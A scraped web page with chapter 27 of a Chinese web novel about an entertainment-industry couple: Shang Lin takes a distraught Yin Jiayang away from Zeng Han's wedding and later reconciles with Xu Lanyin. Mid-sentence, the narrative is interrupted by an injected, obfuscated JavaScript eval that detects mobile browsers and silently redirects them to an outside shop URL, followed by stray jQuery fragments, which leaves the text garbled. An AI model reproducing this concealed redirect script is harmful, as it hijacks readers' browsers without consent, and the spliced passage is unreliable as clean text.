27.第 27 章

作品:《顶流cp忽然要解绑

    曾翰脸色骤变。


    他让尹佳阳来参加婚礼,就是想要向公众表明他和尹佳仍是朋友,为此还专门请了人来直播。


    现在除了一些不怕死的十八线,爱护羽毛的演员根本不敢跟他搭戏,曾翰也为自己的一时冲动后悔过。虽然尹佳阳喜欢他这件事把他恶心了个够呛,但不应该闹那么难看的,搞得双方都下不了台。


    但事已至此,曾翰只能一条道走到黑,彻底跟过去一刀两断。商璘这时候带走尹佳阳,他的算盘就全白费了。


    “佳阳。”曾翰努力让自己的声音听起来平静一些,“我们那么多年的感情……”


    “那么多年的感情,直到现在你都还在算计利用他。”商璘道:“曾翰,你但凡有点良心,都不会给佳阳送婚礼请柬。”


    当初曾翰混不下去准备退圈,是尹佳阳选择了他,带他走向鲜花和掌声,只可惜世上人大多忘恩负义。对他好的时候感动得稀里哗啦,多好听的话都说得出口,时间一久,那点好就如东流水,尽数逝去了。


    “……这是我们的事。”曾翰说:“那么多摄像头,你要是带走尹佳阳,营销号会怎么写你?”他放软了语气,“商璘,你的一举一动都有那么多人看着,别做会让自己后悔的事。”


    尹佳阳声音沙哑:“阿璘,只是念个证婚词,我可以的。”


    曾翰虽然做法卑劣,但他说得没错。


    商璘不该卷进来,被口诛笔伐。


    “只要做过的事,我都不会后悔。”商璘淡声说。


    他拉着尹佳阳转身就走,曾翰失声:“佳阳!”


    “小璘哥。”许兰因沉着脸,一把拉住了商璘,他知道此刻究竟有多少双眼睛在看着多少双耳朵在听着,声音很轻:“不要。”


    曾翰和尹佳阳的破事本来就吵得厉害,商璘把尹佳阳从曾翰的婚礼现场带走,很容易被人往三角恋的方向引导,到时候事情更难收场。


    没必要为了一时意气被舆论裹挟,最终溺死在这深潭里。


    商璘抿唇。


    他纤长的眼睫有点微不可查地颤抖,问许兰因:“为什么呢。”


    许兰因说:“不是你的因果,你没必要挺身而出。忍忍吧。”


    商璘慢慢、慢慢将自己的手抽回来。


    他想,倘若这是许兰因的婚礼,倘若许兰因也笑着要他当证婚人,他会怎么样?


    他或许也会像尹佳阳那样,被这样那样的理由推搡着不得不往前走。


    而在那段越走越绝望的路上,他会希望有人能神兵天降,带他短暂逃离这窒息的人间。


    曾经许兰因是那个人。


    现在他说,“忍忍吧。”


    指尖从许兰因手心滑脱,他下意识想要抓回来,商璘却已经拉着尹佳阳向宴会厅外大步而去。


    “……商璘!”


    商璘没有回头。


    他带着尹佳阳走出酒店,其实一时间也不知道要去哪里,转头想要问问尹佳阳,才发现一路上他一直在哭。


    无声无息地掉眼泪,明明三十多岁的人了,哭得像个走路都蹒跚的孩子。


    商璘不会安慰人。


    他只好用力抱了尹佳阳一下。


    尹佳阳用力擦了把眼泪,哽咽说:“你怎么能背着我偷偷参加曾翰的婚礼。”


    “……”商璘说:“你说你不来的。”


    “是啊,我说不来的。”尹佳阳在马路边蹲下身,边哭边说:“可是昨天曾翰给我打了两百六十七个电话,我能怎么办。”


    “明知道他是个人渣,我还是没法拒绝他。”


    商璘心口尖锐地一痛。


    他说不出劝解尹佳阳的话,在旁边默默站着,看尹佳阳哭。好一会儿,他伸手拉尹佳阳,“我送你回去。”


    尹佳阳顺着他的力道站起来,“我不想回家。”


    商璘问他想做什么。


    尹佳阳说想去喝酒。商璘就点头。


    他把手机关机,不接任何人的电话也不看任何人的消息,带尹佳阳去喝酒。


    尹佳阳喝不了多少就醉,趴在吧台上嘀嘀咕咕说些谁也听不懂的话。酒保忍不住劝:“璘哥你都不劝劝他啊。”


    商璘摇头。


    喝醉了也好。喝醉了今夜才睡得着。


    商璘叫了代驾送尹佳阳回家,到了尹佳阳住的公寓门口,他脚步一顿。


    许兰因杵着拐杖站在门边,指间夹着根烟,已经烧到尽头,脚边还有不少烟头,不知道已经在这里等了多久。


    过道里的感应灯昏暗,商璘没能看清楚他脸上的表情,只有他手指尖那点橘红色的火星格外晃眼。


    还是许兰因先开的口:“苏姐说打不通你电话。伏越泽也在找你。”


    商璘在从宴会厅带走尹佳阳的那一刻就知道会这样,并不意外。这件事也会对许兰因造成不小的影响,于是他说:“我稍后给他们回电话。麻烦你来这里找我,对不起。”


    “那些都不重要。”许兰因熄灭烟头,瞥了眼酩酊大醉的尹佳阳,难得正经:“小璘哥,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401257|198985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为什么非要做到这一步。”


    “没人逼他去参加曾翰的婚礼,是他自己做出的选择。你跟我说过,成年人总要为自己的选择付出代价。曾翰确实卑鄙,但去当个证婚人又能怎么样?”


    商璘手指蜷缩了一下。


    他无法回答许兰因的诘问。


    因为感同身受?因为想要拯救未来某一刻的自己?……没必要说这些。许兰因永远不会明白。


    “小璘哥。”许兰因逼近两步,商璘甚至听见了他有些急促的呼吸声。许兰因问:“你这样维护尹佳阳,是因为喜欢他吗?”


    商璘一愣。


    “……你怎么会这样想?”


    许兰因扯了下唇角,“因为你就是这样的性格。”


    只要有人对你好,你就要掏心掏肺地报答。


    商璘推开许兰因,用尹佳阳的手指开了指纹锁,“别胡思乱想。”


    “小璘哥。”许兰因哑声问:“你就没想过我会难过吗。”


    商璘一怔。


    他说:“抱歉啊兰因。之后我会跟大家解释的,肯定不会牵累到你……”


    许兰因打断他:“谁跟你说这个。”


    他咬着牙质问:“你把我丢在那里,带着尹佳阳离开,就没想过我会难过吗?你知道有多少人来问我我们是不是真的拆了吗?我明明一直在努力,努力想要公司收回这个决定,但是你……”


    商璘很早之前就知道,许兰因真正难过的时候,反而不会掉眼泪。


    他将尹佳阳放在沙发上,这才转头看向许兰因。


    许兰因固执地站在门口,不肯进来。


    商璘朝他走过去,伸手抱住他,拍了拍他背,像是哄小孩子那样:“对不起。”


    “就只有对不起吗?”许兰因说:“他们都说你不要我了。”


    “小璘哥,你别不要我。”


    “……”


    商璘心底最后一道防线彻底崩坍。


    明明才从曾翰的婚礼上带走崩溃的尹佳阳,明明知道这段感情不可能善终,明明说着要离开要离开……


    可许兰因说,小璘哥,你别不要我。


    商璘活了三十一年,不短也不长,但他想,这辈子不会再有什么人什么事,让他这样输得一败涂地。


    倘若这一刻暴风骤雪,世界末日,他也愿意握着许兰因的手一起死在这里。


    “……我怎么会不要你。”商璘捧住许兰因的脸,吻住他苍白的唇,声音轻得只有他自己能听见,“我那么爱你。”